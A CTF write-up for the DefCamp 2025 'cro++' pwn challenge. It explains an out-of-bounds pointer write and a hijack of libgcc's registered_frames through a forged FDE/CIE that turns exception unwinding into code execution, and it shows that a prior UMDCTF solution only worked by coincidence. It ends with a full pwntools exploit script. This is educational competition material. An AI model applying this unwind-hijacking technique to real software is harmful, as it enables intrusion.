DefCamp CTF Finals 2025 - Cro++
When participating in a CTF, you usually have to rely on both your own expertise and the knowledge of others. Most challenge authors use both their own imagination and previous write-ups for inspiration when creating new challenges. But what if the write-up is wrong because the original author wrote an exploit chain that never really accomplished what they intended?
Description
The CTF provided us with a Dockerfile that set up a container running an ELF binary named cro++. This binary contains a C++ program that spawns an interactive shell with two options:
- Allocate memory
- Exit the program
When option 2 is invoked, or if option 1 has been executed more than 2 times, the program terminates with exit(1), giving us the chance to allocate memory twice for our exploit. Each allocation follows a certain procedure:
- The user inputs a slot (0 - 15 slots)
- The user inputs a size for the allocation (0 - 511 bytes)
- The program then outputs the allocation address to
stdoutand stores it in the corresponding slot of an array located in the.bsssection - The user inputs the contents of this new allocation
- Eventually, the user ends up back in the interactive shell
When inspecting the binary, we came across the win function depicted in Figure 1, indicating that to solve this challenge, we would need to achieve RCE.

Figure 1: Decompilate of win function (cro++), Hex-Rays 9.2.0.250908
The bug(s)
After some trial and error, we discovered that we had to combine two bugs to gain code execution.
Arbitrary data writes
The program uses fgets to read the input (menu item, slot, and size) into a stack variable. Then it converts this string into an unsigned long using strtoul. However, neither the slot nor the size is clamped to reasonable limits. Therefore, despite the limits indicated on stdout, we can actually write the address of our heap allocation to an arbitrary memory location.
Allocation failures
Moreover, we can trigger an abnormal error case of operator new[] by inputting an unreasonably large size, such as 999999999999999999, causing a std::bad_alloc to be thrown.
What is noteworthy here (and to be remembered for later!) is the fact that in C++ you can set a global handler function for allocation failures of all new operators using std::set_new_handler. The particular implementation of this mechanism in the standard library used for this challenge is depicted in Figure 2.
![Figure 2: Decompilate of operator new[] function (cro++), Hex-Rays 9.2.0.250908](/posts/2025/11/defcamp-ctf-finals-2025-cro-/ida_operator_new_decomp.png)
Figure 2: Decompilate of operator new[] function (cro++), Hex-Rays 9.2.0.250908
Interestingly enough, std::get_new_handler loads the function pointer of the handler from the .bss section, which we can overwrite by inputting a slot of 24. However, modern systems use executable space protection, preventing us from simply mapping our shellcode this way. For this reason, we quickly ruled out gaining code execution this way.
Instead, we looked for other pointers in the .bss we could exploit and eventually settled on registered_frames (part of libgcc) at slot 38. This global variable is of type btree and is the root of all unwind information.
The exploit chain
Putting it all together, we came up with the following idea:
- Allocate a
payloadobject, containing arbitrary unwind information - Input slot 38 with
payloadsize, overwriting theregistered_framesvariable - Read back the leaked address, relocating our
payload - Send the relocated
payload - Input arbitrary slot (must be valid, so we chose 0) with invalid size
At this point, we realized that we had no idea how exception unwinding in libgcc works because we are Haiku OS users. Furthermore, we assumed that someone else had already used a similar exploit in the past.
After searching the internet for a brief while, we stumbled upon the official write-up / solution for the challenge called unfinished in UMDCTF 2025 [1]. We derived our payload from this solution and got to work.
Rather quickly, we discovered that the challenge author of cro++ has put some roadblocks ahead of us. After using fgets to load the inputs of the allocation, the program performs a series of pattern matches that prevent us from using the trivial payload:
[0x01, 0x50]- CIE version 1 with augmentation string “P”[0x02]- likely targetting the hi-byte of theobjectbitfield, see Listing 1[0xB6], [0xC6], [0x80]- unknown purpose (not matched in our payload)
struct object
{
void *pc_begin;
void *tbase;
void *dbase;
union {
const struct dwarf_fde *single;
struct dwarf_fde **array;
struct fde_vector *sort;
} u;
union {
struct {
unsigned long sorted : 1;
unsigned long from_array : 1;
unsigned long mixed_encoding : 1;
unsigned long encoding : 8;
/* ??? Wish there was an easy way to detect a 64-bit host here;
we've got 32 bits left to play with... */
unsigned long count : 21;
} b;
size_t i;
} s;
#ifdef DWARF2_OBJECT_END_PTR_EXTENSION
char *fde_end;
#endif
struct object *next;
};
Listing 1: Data structure layout of FDE’s object [2]
If any of these checks match within the payload, exit(1) is called. Bypassing the two checks that triggered in our payload was straightforward:
- Padding the augmentation string in the same way the reference does
- Setting a
bvalue that would result in a different hi-byte (we used 0x801 instead of 0x281)
At this point, our payload passed all the checks and was used during the stack unwinding unless any of the patterns were matched in the actual address of the memory allocation. Rather annoyingly, the personality function of the exception handler was never called. We were puzzled.
The bogus write-up
After getting nowhere for quite some time, we decided to look at unfinished, as we had not participated in that CTF. We quickly discovered something strange: while the solution sends a valid payload (btree header, object, FDE, and CIE structure), there doesn’t seem to be any stack unwinding.
In fact, we set a breakpoint on Unwind_RaiseException and discovered it is never called! But wait: how could the payload that contains the unwind information work without any unwinding taking place?
To answer this question, we will have to look at the code of unfinished, which differs from cro++ in one significant way: instead of performing heap allocations, it directly writes the input to a global variable named number in the .bss section. This is shown in Figure 3.

Figure 3: Decompilate of main function (unfinished), Hex-Rays 9.2.0.250908
When tracing the execution of the proposed payload, we discovered that the stack unwinding is skipped because a global handler function was defined (see Figure 2). And indeed, that handler function pointed to the win function! After inspecting the layout of the .bss section, we confirmed our suspicion that the payload was already broken for unfinished. It only worked by chance because the payload contains the win function pointer at offset 0xC8. Due to the out-of-bounds write to number, this part of the payload overlaps with the handler function retrieved by std::get_new_handler (compare Figure 4). What a crazy coincidence!

Figure 4: View of .bss section (unfinished), IDA Pro 9.2.0.250908
Fixing the payload
Unfortunately, due to the implementation of cro++, overwriting this handler function is not possible. Instead, we had to fix the payload to perform its intended function.
Using gdb, we discovered that the personality function of the exception handler is never dispatched because of a failure in extract_cie_info (inlined in uw_frame_state_for). The relevant part is shown in Listing 2.
static const unsigned char *
extract_cie_info (const struct dwarf_cie *cie, struct _Unwind_Context *context,
_Unwind_FrameState *fs)
{
const unsigned char *aug = cie->augmentation;
/* ... */
/* Iterate over recognized augmentation subsequences. */
while (*aug != '\0')
{
/* "L" indicates a byte showing how the LSDA pointer is encoded. */
if (aug[0] == 'L')
{
fs->lsda_encoding = *p++;
aug += 1;
}
/* "R" indicates a byte indicating how FDE addresses are encoded. */
else if (aug[0] == 'R')
{
fs->fde_encoding = *p++;
aug += 1;
}
/* "P" indicates a personality routine in the CIE augmentation. */
else if (aug[0] == 'P')
{
_Unwind_Ptr personality;
p = read_encoded_value (context, *p, p + 1, &personality);
fs->personality = (_Unwind_Personality_Fn) personality;
aug += 1;
}
/* "S" indicates a signal frame. */
else if (aug[0] == 'S')
{
fs->signal_frame = 1;
aug += 1;
}
/* aarch64 B-key pointer authentication. */
else if (aug[0] == 'B')
{
aug += 1;
}
/* Otherwise we have an unknown augmentation string.
Bail unless we saw a 'z' prefix. */
else
return ret;
}
return ret ? ret : p;
}
Listing 2: Excerpt from extract_cie_info [3]
As it turns out, the padding the original payload used ("AAAAA") is invalid! Luckily, this version of libgcc includes aarch64 B-key pointer authentication even tho this is an x86_64 binary. This seems like a mistake present only in older versions of this library, as newer libgcc versions have this encoding hidden behind conditional compilation. Regardless, it is effectively a nop we gladly used. Simply substituting "BBBBB" for "AAAAA" makes the payload valid and allows us to grab the flag from the server.
We provide our solver script in Appendix A for those interested.
Thanks for the read and have a nice day 🌻
References
[1] UMDCTF 2025, https://github.com/UMD-CSEC/UMDCTF-Public-Challenges/blob/main/UMDCTF2025/pwn/unfinished/solve.py, The University of Maryland Cybersecurity Club - Unknown Author, Retrieved: 2025-11-16
[2] libgcc, https://github.com/gcc-mirror/gcc/blob/releases/gcc-13.2.0/libgcc/unwind-dw2-fde.h#L40, Richard Henderson, Retrieved: 2025-11-16
[3] libgcc, https://github.com/gcc-mirror/gcc/blob/releases/gcc-13.2.0/libgcc/unwind-dw2.c#L412, Sam Tebbs, Retrieved: 2025-11-16
Appendix
Appendix A: Interactive solver
#!/usr/bin/env python3
from pwn import *
exe = ELF("./cro++")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if args.GDB:
r = gdb.debug([exe.path])
else:
r = process([exe.path])
return r
# inspired by https://github.com/UMD-CSEC/UMDCTF-Public-Challenges/blob/main/UMDCTF2025/pwn/unfinished/solve.py
def build_fake_registered_frame(leak, addr):
payload = bytearray()
sections = {}
pointer_slots = {}
def add(*values):
payload.extend(flat(*values))
def mark(name):
sections[name] = len(payload)
def reserve_pointer(name):
pointer_slots[name] = len(payload)
add(p64(0))
# B-tree header and pointer to the entry payload
add(p64(0)) # b tree lock
add(p32(1), p32(1)) # single leaf node with one entry
add(p64(0)) # start of the range covered
add(p64(0xFFFFFFFFFFFF)) # size of the covered range
reserve_pointer("entry_descriptor") # pointer to the entry descriptor
# Entry descriptor (pc_begin/tbase/dbase + pointer to array)
mark("entry_descriptor")
add(p64(0), p64(0), p64(0)) # pc_begin, tbase, dbase (not important)
reserve_pointer("entry_array") # pointer to "sorted" array of entries
add(p64(0x801)) # bitfield: sorted flag to skip sorting plus encoding description to bypass blacklist imposed by challenge
# Entry array metadata and FDE pointer slot
mark("entry_array")
add(p64(0)) # orig_data (no clue what this is)
add(p64(1)) # array size
reserve_pointer("fde") # pointer to the specific FDE
# FDE + CIE structure
mark("fde")
add(
# The FDE itself
p32(0), # FDE length (ignored)
p32(2**32 - 24), # offset to corresponding CIE. We'll put it just after the FDE, so it needs to be -24
p64(0), # pc_begin
p64(0xFFFFFFFFFFFF), # pc_range
b"\x00\x00\x00\x00", # padding for CIE alignment, which is required
# CIE
p32(100), # length
p32(0), # CIE_id
p8(1), # version. 4 incurs additional checks we don't want
b"BBBBBP\x00AAA\x00", # augmentation string with personality slot
p64(addr), # personality function pointer
p8(0), # augmentation terminator
)
for name, slot in pointer_slots.items():
payload[slot:slot + 8] = p64(leak + sections[name])
payload.extend(b"A" * (336 - len(payload)))
return bytes(payload)
def main():
r = conn()
r.sendlineafter(b"2) exit\n", b"1")
# Overwrite registered_frames pointer with our allocation
# Build with bogus leak first to get size right
bogus_registered_frame = build_fake_registered_frame(
0x4141414141414141, 0x4242424242424242
)
r.sendlineafter(b"index (0..15): ", b"38")
r.sendlineafter(b"size (0..511): ", str(len(bogus_registered_frame)).encode())
# Grab allocation location leak
r.recvuntil(b"cropulus said you can have a leak ")
leak = int(r.recvline().strip(), 16)
log.info(f"Leaked allocation at {hex(leak)}")
# Build final fake registered frame with real leak
fake_frame = build_fake_registered_frame(leak, exe.symbols['_Z3winv'])
r.sendlineafter(b"data (max 511 bytes): ", fake_frame)
# Call new with invalid size to throw exception utilizing our fake frame
r.sendlineafter(b"2) exit\n", b"1")
r.sendlineafter(b"index (0..15): ", b"0")
r.sendlineafter(b"size (0..511): ", b"999999999999999999")
r.interactive()
if __name__ == "__main__":
main()